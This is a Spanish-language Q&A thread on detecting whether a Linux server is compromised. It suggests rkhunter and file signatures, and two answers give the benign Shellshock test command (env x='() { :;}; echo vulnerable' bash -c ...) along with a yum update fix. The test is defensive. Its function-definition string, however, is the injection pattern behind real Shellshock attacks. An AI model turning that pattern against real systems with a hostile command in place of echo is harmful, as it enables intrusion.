Hay algunas herramientas que pueden ayudar. Por ejemplo, busque el paquete rkhunter. Escaneará su computadora en busca de kits de herramientas raíz conocidos y archivos explotados.

Obviamente, estas herramientas deberían haberse instalado y configurado antes de que el sistema se vea comprometido, y estas herramientas también pueden ser dirigidas si su sistema ha sido pirateado con éxito para acceso root. Además, estas herramientas pueden ser muy intensivas y ralentizar su sistema.

Alex F
fuente
2

La única forma de saber si su servidor está comprometido es tener en algún lugar una firma de sus archivos y comparar sus archivos actuales. Sin embargo, puedes ver si eres vulnerable.

  1. no puedes Es razonable suponer que si su máquina está realmente comprometida, sus herramientas de monitoreo habituales (ps, top, lsof, ...) han sido reemplazadas por herramientas similares cuya salida parece normal, ocultando actividad sospechosa
  2. No. puede estar en cualquier carpeta con archivos ejecutables.
  3. cualquier archivo ejecutable o scripts (binario ELF, script .shell, ...), incluidas las herramientas de monitoreo habituales
Manu H
fuente
-3

Cómo saber si su caja de linux está comprometida.

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Si si regresa

vulnerable
this is a test

usted está.

Para ejecutar la actualización, en root ejecute el siguiente comando

sudo yum update bash
PJunior
fuente
16
-1 Esta comprobación si el bash es vulnerable, no si realmente se ha visto comprometido.
Calimo
1
También supone que está ejecutando yumy no otro administrador de paquetes.
DavidG
-3

Puede verificar si es vulnerable ejecutando los siguientes comandos (código proporcionado por el CSA). Abra una ventana de terminal e ingrese el siguiente comando en el indicador $:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Si su bash NO está actualizado, imprimirá:

vulnerable
this is a test

Si tu bash está actualizado, solo verás:

this is a test

Más detalles están disponibles detrás de este enlace .

Manu Somaraj
fuente
1
La pregunta era sobre detectar que un servidor estaba comprometido , no que era vulnerable
Gareth
considere leer otras respuestas antes de publicar una muy similar a una respuesta cuyo puntaje sea bajo porque NO responde la pregunta.
Manu H